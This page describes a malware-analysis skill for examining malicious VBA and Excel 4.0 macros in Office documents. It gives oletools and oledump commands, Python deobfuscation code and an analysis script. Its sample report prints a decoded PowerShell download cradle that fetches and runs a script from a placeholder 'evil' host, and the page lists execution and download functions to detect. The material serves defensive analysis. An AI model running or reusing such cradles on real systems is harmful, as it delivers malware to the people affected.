malware analysis

Analyzing Macro Malware in Office Documents

Analyzes malicious VBA macros embedded in Microsoft Office documents (Word, Excel, PowerPoint) to identify download cradles, payload execution, persistence mechanisms, and anti-analysis techniques. Uses olevba, oledump, and VBA deobfuscation to extract the attack chain. Activates for requests involving Office macro analysis, VBA malware investigation, maldoc analysis, or document-based threat examination.

document-malwaremacromalwareofficevba
Install this skill
npx skills add mukul975/Anthropic-Cybersecurity-Skills
Framework mappings

When to Use

  • A suspicious Office document (.doc, .docm, .xls, .xlsm, .ppt) has been flagged by email security
  • Investigating phishing campaigns that deliver weaponized Office documents
  • Extracting VBA macro code to identify the payload download URL and execution method
  • Analyzing obfuscated VBA code to understand the full attack chain
  • Determining if a document uses DDE, ActiveX, or remote template injection instead of macros

Do not use for analyzing non-macro Office threats (DDE, remote template injection); while this skill covers detection of these, specialized analysis may be needed.

Prerequisites

  • Python 3.8+ with oletools installed (pip install oletools)
  • oledump.py from Didier Stevens (https://blog.didierstevens.com/programs/oledump-py/)
  • Isolated analysis VM without Microsoft Office installed (prevents accidental execution)
  • XLMDeobfuscator for Excel 4.0 macro analysis (pip install xlmdeobfuscator)
  • LibreOffice for safe document rendering (does not execute VBA macros by default)

Workflow

Step 1: Initial Document Triage

Determine if the document contains macros or other active content:

# Quick triage with olevba
olevba suspect.docm
 
# Check for OLE streams and macros
oleid suspect.docm
 
# Output indicators:
# VBA Macros:        True/False
# XLM Macros:        True/False
# External Relationships: True/False (remote template)
# ObjectPool:        True/False (embedded objects)
# Flash:             True/False (SWF objects)
 
# Comprehensive OLE analysis
oledump.py suspect.docm
 
# List all OLE streams with macro indicators
# Streams marked with 'M' contain VBA macros
# Streams marked with 'm' contain macro attributes

Step 2: Extract and Analyze VBA Code

Pull out the complete VBA macro source:

# Extract VBA with full deobfuscation
olevba --decode --deobf suspect.docm
 
# Extract just the VBA source code
olevba --code suspect.docm > extracted_vba.txt
 
# Detailed extraction with oledump
oledump.py -s 8 -v suspect.docm  # Stream 8 (adjust based on stream listing)
 
# Extract all macro streams
oledump.py -p plugin_vba_dco suspect.docm
Key VBA Elements to Identify:
━━━━━━━━━━━━━━━━━━━━━━━━━━━
Auto-Execution Triggers:
  - Auto_Open / AutoOpen (Word)
  - Auto_Close / AutoClose
  - Document_Open / Document_Close
  - Workbook_Open (Excel)
  - AutoExec
 
Suspicious Functions:
  - Shell() / Shell.Application
  - WScript.Shell.Run / Exec
  - CreateObject("WScript.Shell")
  - PowerShell execution
  - URLDownloadToFile
  - MSXML2.XMLHTTP (HTTP requests)
  - ADODB.Stream (file writing)
  - Environ() (environment variables)
  - CallByName (indirect method calls)

Step 3: Deobfuscate VBA Code

Remove obfuscation layers to reveal the payload:

# VBA deobfuscation techniques
import re
 
def deobfuscate_vba(code):
    # 1. Resolve Chr() calls: Chr(104) & Chr(116) -> "ht"
    def resolve_chr(match):
        try:
            return chr(int(match.group(1)))
        except:
            return match.group(0)
    code = re.sub(r'Chr\$?\((\d+)\)', resolve_chr, code)
 
    # 2. Remove string concatenation: "htt" & "p://" -> "http://"
    code = re.sub(r'"\s*&\s*"', '', code)
 
    # 3. Resolve ChrW calls: ChrW(104)
    code = re.sub(r'ChrW\$?\((\d+)\)', resolve_chr, code)
 
    # 4. Resolve StrReverse: StrReverse("exe.daolnwod") -> "download.exe"
    def resolve_reverse(match):
        return '"' + match.group(1)[::-1] + '"'
    code = re.sub(r'StrReverse\("([^"]+)"\)', resolve_reverse, code)
 
    # 5. Remove Mid$/Left$/Right$ obfuscation (complex, mark for manual review)
 
    # 6. Resolve Replace(): Replace("Powxershxell", "x", "")
    def resolve_replace(match):
        original = match.group(1)
        find = match.group(2)
        replace_with = match.group(3)
        return '"' + original.replace(find, replace_with) + '"'
    code = re.sub(r'Replace\("([^"]+)",\s*"([^"]+)",\s*"([^"]*)"\)', resolve_replace, code)
 
    return code
 
with open("extracted_vba.txt") as f:
    vba_code = f.read()
 
deobfuscated = deobfuscate_vba(vba_code)
print(deobfuscated)

Step 4: Analyze Excel 4.0 (XLM) Macros

Handle legacy Excel macros that bypass VBA detection:

# Detect XLM macros
olevba --xlm suspect.xlsm
 
# Deobfuscate XLM macros
xlmdeobfuscator -f suspect.xlsm
 
# Manual XLM analysis with oledump
oledump.py suspect.xlsm -p plugin_biff.py
 
# XLM (Excel 4.0) macro functions to watch for:
# EXEC()       - Execute shell command
# CALL()       - Call DLL function
# REGISTER()   - Register DLL function
# URLDownloadToFileA - Download file
# ALERT()      - Display message (social engineering)
# HALT()       - Stop execution
# GOTO()       - Control flow
# IF()         - Conditional execution

Step 5: Check for Non-Macro Attack Vectors

Examine the document for DDE, remote templates, and embedded objects:

# Check for DDE (Dynamic Data Exchange)
python3 -c "
import zipfile
import xml.etree.ElementTree as ET
import re
 
z = zipfile.ZipFile('suspect.docx')
for name in z.namelist():
    if name.endswith('.xml') or name.endswith('.rels'):
        content = z.read(name).decode('utf-8', errors='ignore')
        # DDE field codes
        if 'DDEAUTO' in content or 'DDE ' in content:
            print(f'[!] DDE found in {name}')
            dde_match = re.findall(r'DDEAUTO[^\"]*\"([^\"]+)\"', content)
            for m in dde_match:
                print(f'    Command: {m}')
        # Remote template
        if 'attachedTemplate' in content or 'Target=' in content:
            urls = re.findall(r'Target=\"(https?://[^\"]+)\"', content)
            for url in urls:
                print(f'[!] Remote template URL: {url}')
"
 
# Check for embedded OLE objects
oledump.py -p plugin_msg.py suspect.docm
 
# Check relationships for external references
python3 -c "
import zipfile
z = zipfile.ZipFile('suspect.docx')
for name in z.namelist():
    if '.rels' in name:
        content = z.read(name).decode('utf-8', errors='ignore')
        if 'http' in content.lower() or 'ftp' in content.lower():
            print(f'External reference in {name}:')
            import re
            urls = re.findall(r'Target=\"([^\"]+)\"', content)
            for url in urls:
                print(f'  {url}')
"

Step 6: Generate Analysis Report

Document the complete macro malware analysis:

Report should include:
- Document metadata (author, creation date, modification date)
- Macro presence and type (VBA, XLM, DDE, remote template)
- Auto-execution trigger identified
- Deobfuscated VBA source code (key functions)
- Download URL(s) for second-stage payloads
- Execution method (Shell, WScript, PowerShell, COM object)
- Social engineering lure description
- Extracted IOCs (URLs, domains, IPs, file hashes)
- YARA rule for the specific document pattern

Key Concepts

Term Definition
VBA Macro Visual Basic for Applications code embedded in Office documents that can interact with the OS, download files, and execute commands
Auto_Open VBA event procedure that executes automatically when a Word document is opened, the primary trigger for macro malware
OLE (Object Linking and Embedding) Microsoft compound document format; Office documents are OLE containers with streams that can contain macros and objects
DDE (Dynamic Data Exchange) Legacy Windows IPC mechanism abused in documents to execute commands without macros; triggered by field code updates
Remote Template Injection Attack loading a macro-enabled template from a remote URL when the document opens, bypassing initial macro detection
XLM Macros (Excel 4.0) Legacy Excel macro language predating VBA; stored in hidden sheets and often missed by traditional VBA analysis tools
Protected View Office sandbox that prevents macro execution until the user clicks "Enable Content"; social engineering targets this barrier

Tools & Systems

  • oletools (olevba): Python toolkit for analyzing OLE files, extracting VBA macros, and detecting suspicious keywords and IOCs
  • oledump.py: Didier Stevens' tool for analyzing OLE streams with plugin support for VBA decompression and extraction
  • XLMDeobfuscator: Tool specifically designed for deobfuscating Excel 4.0 (XLM) macro formulas
  • ViperMonkey: VBA emulation engine that executes VBA macros in a sandboxed environment to observe behavior
  • YARA: Pattern matching for document-based malware detection using VBA string patterns and OLE structure indicators

Common Scenarios

Scenario: Analyzing a Phishing Document with Obfuscated VBA Macros

Context: Multiple employees received an email with an attached .docm file claiming to be an invoice. The document prompts users to "Enable Content" to view the full document.

Approach:

  1. Run oleid to confirm VBA macros are present and identify auto-execution triggers
  2. Extract VBA code with olevba --decode --deobf for initial deobfuscation
  3. Identify the auto-execution entry point (Auto_Open or Document_Open)
  4. Trace the execution flow from the entry point through helper functions
  5. Deobfuscate string concatenation and Chr() encoding to reveal the download URL
  6. Identify the download method (WScript.Shell, MSXML2.XMLHTTP, PowerShell)
  7. Extract all IOCs and create YARA rules for the specific obfuscation pattern

Pitfalls:

  • Opening the document in Microsoft Office for "quick analysis" instead of using command-line tools
  • Missing VBA code stored in UserForms (GUI elements can contain code in their event handlers)
  • Ignoring document metadata that may contain attacker fingerprints (author name, template name)
  • Not checking for both VBA and XLM macros in the same document (some malware uses both)

Output Format

OFFICE MACRO MALWARE ANALYSIS
================================
Document:         invoice_q3_2025.docm
SHA-256:          e3b0c44298fc1c149afbf4c8996fb924...
File Type:        Microsoft Word Document (OOXML with macros)
Author:           Administrator
Creation Date:    2025-09-10 14:23:00
 
MACRO ANALYSIS
Type:             VBA Macro
Trigger:          AutoOpen()
Streams:          3 VBA streams (ThisDocument, Module1, Module2)
 
DEOBFUSCATED EXECUTION CHAIN
1. AutoOpen() -> Calls Module1.RunPayload()
2. RunPayload() builds command string via Chr() concatenation
3. Command: powershell -nop -w hidden -enc JABjAGwAaQBlAG4AdAA...
4. Decoded: IEX (New-Object Net.WebClient).DownloadString('hxxp://evil[.]com/payload.ps1')
 
SOCIAL ENGINEERING LURE
- Document displays fake "Protected Document" image
- Instructs user to "Enable Content" to view the document
- Content is blurred/hidden until macros execute
 
EXTRACTED IOCs
Download URL:     hxxp://evil[.]com/payload.ps1
C2 Domain:        evil[.]com
IP Address:       185.220.101[.]42
User-Agent:       PowerShell (default WebClient)
 
MITRE ATT&CK
T1566.001  Phishing: Spearphishing Attachment
T1204.002  User Execution: Malicious File
T1059.001  Command and Scripting Interpreter: PowerShell
T1059.005  Command and Scripting Interpreter: Visual Basic
Source materials

References and resources

Everything below is rendered for inspection. Script files are read-only and never run.

References 1

api-reference.md2.9 KB

API Reference: Office Macro Malware Analysis Tools

olevba - VBA Macro Extraction (oletools)

CLI Syntax

olevba document.docm                   # Full analysis
olevba --decode --deobf document.docm  # Decode + deobfuscate
olevba --code document.docm            # Extract VBA source only
olevba --json document.docm            # JSON output
olevba --reveal document.docm          # Reveal hidden content

Output Sections

Section Content
AutoExec Auto-execution triggers (AutoOpen, Document_Open)
Suspicious Dangerous functions (Shell, WScript, CreateObject)
IOC Extracted indicators (URLs, IPs, file paths)
Hex String Decoded hex-encoded strings

Python API

from oletools.olevba import VBA_Parser
vba = VBA_Parser("document.docm")
if vba.detect_vba_macros():
    for (fn, stream, vba_fn, code) in vba.extract_macros():
        print(code)
    for (kw_type, keyword, desc) in vba.analyze_macros():
        print(f"{kw_type}: {keyword}")
vba.close()

oleid - Document Capability Identification

CLI Syntax

oleid document.docm

Indicators

Indicator Risk Values
VBA Macros True/False
XLM Macros True/False
External Relationships True/False
ObjectPool True/False
Flash True/False

oledump.py - OLE Stream Analysis

CLI Syntax

oledump.py document.docm                    # List streams
oledump.py -s 8 -v document.docm           # Extract stream 8
oledump.py -p plugin_vba_dco document.docm  # VBA decompile
oledump.py -p plugin_msg.py document.msg    # MSG file parsing

Stream Markers

Marker Meaning
M Contains VBA macros
m Contains macro attributes
O Contains OLE objects

XLMDeobfuscator - Excel 4.0 Macros

CLI Syntax

xlmdeobfuscator -f document.xlsm
xlmdeobfuscator -f document.xlsm --output-format json

Dangerous XLM Functions

Function Purpose
EXEC() Execute shell command
CALL() Call DLL function
REGISTER() Register DLL function
URLDownloadToFileA Download file from URL

VBA Auto-Execution Triggers

Trigger Application
Auto_Open / AutoOpen Word
Document_Open Word
Workbook_Open Excel
Auto_Close Word
AutoExec Word

VBA Suspicious Functions

Function Risk
Shell() Command execution
WScript.Shell Windows scripting
CreateObject() COM object instantiation
URLDownloadToFile File download
MSXML2.XMLHTTP HTTP requests
ADODB.Stream Binary file writing
CallByName Indirect method invocation
Environ() Environment variable access

ViperMonkey - VBA Emulation

Syntax

vmonkey document.docm
vmonkey --iocs document.docm   # Extract IOCs only

Scripts 1

agent.py8.6 KB
Display-only source. This catalog never executes bundled scripts.
#!/usr/bin/env python3
"""Office macro malware analysis agent using oletools for VBA extraction and deobfuscation."""

import re
import os
import sys
import hashlib
import json
import zipfile

try:
    from oletools.olevba import VBA_Parser
    from oletools import oleid
    HAS_OLETOOLS = True
except ImportError:
    HAS_OLETOOLS = False


def compute_hash(filepath):
    """Compute SHA-256 hash of a file."""
    sha256 = hashlib.sha256()
    with open(filepath, "rb") as f:
        for chunk in iter(lambda: f.read(65536), b""):
            sha256.update(chunk)
    return sha256.hexdigest()


def triage_document(filepath):
    """Quick triage using oleid to identify document capabilities."""
    if not HAS_OLETOOLS:
        return {"error": "oletools not installed: pip install oletools"}
    oid = oleid.OleID(filepath)
    indicators = oid.check()
    results = {}
    for indicator in indicators:
        results[indicator.name] = {
            "value": str(indicator.value),
            "risk": indicator.risk,
            "description": indicator.description,
        }
    return results


def extract_vba_macros(filepath):
    """Extract VBA macro code from an Office document."""
    if not HAS_OLETOOLS:
        return {"error": "oletools not installed"}
    vba_parser = VBA_Parser(filepath)
    macros = []
    if vba_parser.detect_vba_macros():
        for (filename, stream_path, vba_filename, vba_code) in vba_parser.extract_macros():
            macros.append({
                "filename": filename,
                "stream_path": stream_path,
                "vba_filename": vba_filename,
                "code": vba_code,
                "code_length": len(vba_code),
            })
    vba_parser.close()
    return macros


def analyze_vba_suspicious(filepath):
    """Analyze VBA macros for suspicious keywords and patterns."""
    if not HAS_OLETOOLS:
        return {"error": "oletools not installed"}
    vba_parser = VBA_Parser(filepath)
    analysis = {"auto_exec": [], "suspicious": [], "iocs": [], "hex_strings": []}
    if vba_parser.detect_vba_macros():
        results = vba_parser.analyze_macros()
        for (kw_type, keyword, description) in results:
            entry = {"type": kw_type, "keyword": keyword, "description": description}
            if kw_type == "AutoExec":
                analysis["auto_exec"].append(entry)
            elif kw_type == "Suspicious":
                analysis["suspicious"].append(entry)
            elif kw_type == "IOC":
                analysis["iocs"].append(entry)
            elif kw_type == "Hex String":
                analysis["hex_strings"].append(entry)
    vba_parser.close()
    return analysis


def deobfuscate_chr_calls(vba_code):
    """Resolve Chr() and ChrW() calls in VBA code."""
    def resolve_chr(match):
        try:
            return chr(int(match.group(1)))
        except (ValueError, OverflowError):
            return match.group(0)
    code = re.sub(r'Chr\$?\((\d+)\)', resolve_chr, vba_code)
    code = re.sub(r'ChrW\$?\((\d+)\)', resolve_chr, code)
    return code


def deobfuscate_concatenation(vba_code):
    """Remove string concatenation: "abc" & "def" -> "abcdef"."""
    return re.sub(r'"\s*&\s*"', '', vba_code)


def deobfuscate_strreverse(vba_code):
    """Resolve StrReverse() calls."""
    def resolve_reverse(match):
        return '"' + match.group(1)[::-1] + '"'
    return re.sub(r'StrReverse\("([^"]+)"\)', resolve_reverse, vba_code)


def deobfuscate_replace(vba_code):
    """Resolve Replace() function calls."""
    def resolve_replace(match):
        original = match.group(1)
        find = match.group(2)
        replace_with = match.group(3)
        return '"' + original.replace(find, replace_with) + '"'
    return re.sub(r'Replace\("([^"]+)",\s*"([^"]+)",\s*"([^"]*)"\)',
                  resolve_replace, vba_code)


def full_deobfuscation(vba_code):
    """Apply all deobfuscation techniques to VBA code."""
    code = deobfuscate_chr_calls(vba_code)
    code = deobfuscate_concatenation(code)
    code = deobfuscate_strreverse(code)
    code = deobfuscate_replace(code)
    return code


def extract_urls_from_code(code):
    """Extract URLs from deobfuscated VBA code."""
    return list(set(re.findall(r'https?://[^\s"\'<>]+', code)))


def check_dde(filepath):
    """Check for DDE (Dynamic Data Exchange) attacks in OOXML documents."""
    findings = []
    try:
        z = zipfile.ZipFile(filepath)
        for name in z.namelist():
            if name.endswith(".xml") or name.endswith(".rels"):
                content = z.read(name).decode("utf-8", errors="ignore")
                if "DDEAUTO" in content or "DDE " in content:
                    dde_cmds = re.findall(r'DDEAUTO[^"]*"([^"]+)"', content)
                    findings.append({
                        "type": "DDE",
                        "file": name,
                        "commands": dde_cmds,
                    })
                if "attachedTemplate" in content or "Target=" in content:
                    urls = re.findall(r'Target="(https?://[^"]+)"', content)
                    for url in urls:
                        findings.append({
                            "type": "Remote Template",
                            "file": name,
                            "url": url,
                        })
    except (zipfile.BadZipFile, KeyError):
        pass
    return findings


def check_external_relationships(filepath):
    """Check OOXML relationships for external references."""
    externals = []
    try:
        z = zipfile.ZipFile(filepath)
        for name in z.namelist():
            if ".rels" in name:
                content = z.read(name).decode("utf-8", errors="ignore")
                urls = re.findall(r'Target="(https?://[^"]+)"', content)
                for url in urls:
                    externals.append({"file": name, "url": url})
    except (zipfile.BadZipFile, KeyError):
        pass
    return externals


def generate_report(filepath, triage, macros, analysis, deobfuscated_urls, dde_findings):
    """Generate a comprehensive macro malware analysis report."""
    report = {
        "file": filepath,
        "sha256": compute_hash(filepath),
        "size": os.path.getsize(filepath),
        "triage": triage,
        "macro_count": len(macros),
        "auto_exec_triggers": [e["keyword"] for e in analysis.get("auto_exec", [])],
        "suspicious_functions": [e["keyword"] for e in analysis.get("suspicious", [])],
        "iocs": [e["keyword"] for e in analysis.get("iocs", [])],
        "extracted_urls": deobfuscated_urls,
        "dde_findings": dde_findings,
    }
    return report


if __name__ == "__main__":
    print("=" * 60)
    print("Office Macro Malware Analysis Agent")
    print("oletools-based VBA extraction and deobfuscation")
    print("=" * 60)

    target = sys.argv[1] if len(sys.argv) > 1 else None

    if target and os.path.exists(target):
        print(f"\n[*] Analyzing: {target}")
        print(f"[*] SHA-256: {compute_hash(target)}")

        print("\n--- Document Triage (oleid) ---")
        triage = triage_document(target)
        for name, info in triage.items():
            risk_tag = f" [{info['risk']}]" if info.get("risk") else ""
            print(f"  {name}: {info['value']}{risk_tag}")

        print("\n--- VBA Macro Extraction ---")
        macros = extract_vba_macros(target)
        print(f"  Macro streams found: {len(macros)}")
        for m in macros:
            print(f"  - {m['vba_filename']} ({m['code_length']} chars)")

        print("\n--- Suspicious Analysis ---")
        analysis = analyze_vba_suspicious(target)
        for trigger in analysis["auto_exec"]:
            print(f"  [!] Auto-exec: {trigger['keyword']}")
        for sus in analysis["suspicious"]:
            print(f"  [!] Suspicious: {sus['keyword']} - {sus['description']}")
        for ioc in analysis["iocs"]:
            print(f"  [IOC] {ioc['keyword']}")

        print("\n--- Deobfuscation ---")
        all_urls = []
        for m in macros:
            deobfuscated = full_deobfuscation(m["code"])
            urls = extract_urls_from_code(deobfuscated)
            all_urls.extend(urls)
        for url in set(all_urls):
            print(f"  URL: {url}")

        print("\n--- DDE / Remote Template Check ---")
        dde = check_dde(target)
        for d in dde:
            print(f"  [{d['type']}] {d.get('url', d.get('commands', ''))}")

        report = generate_report(target, triage, macros, analysis, list(set(all_urls)), dde)
        print(f"\n[*] Report: {json.dumps(report, indent=2, default=str)[:500]}...")
    else:
        print(f"\n[DEMO] Usage: python agent.py <document.docm|xlsm>")
        print("[*] Provide an Office document for macro analysis.")
Keep exploring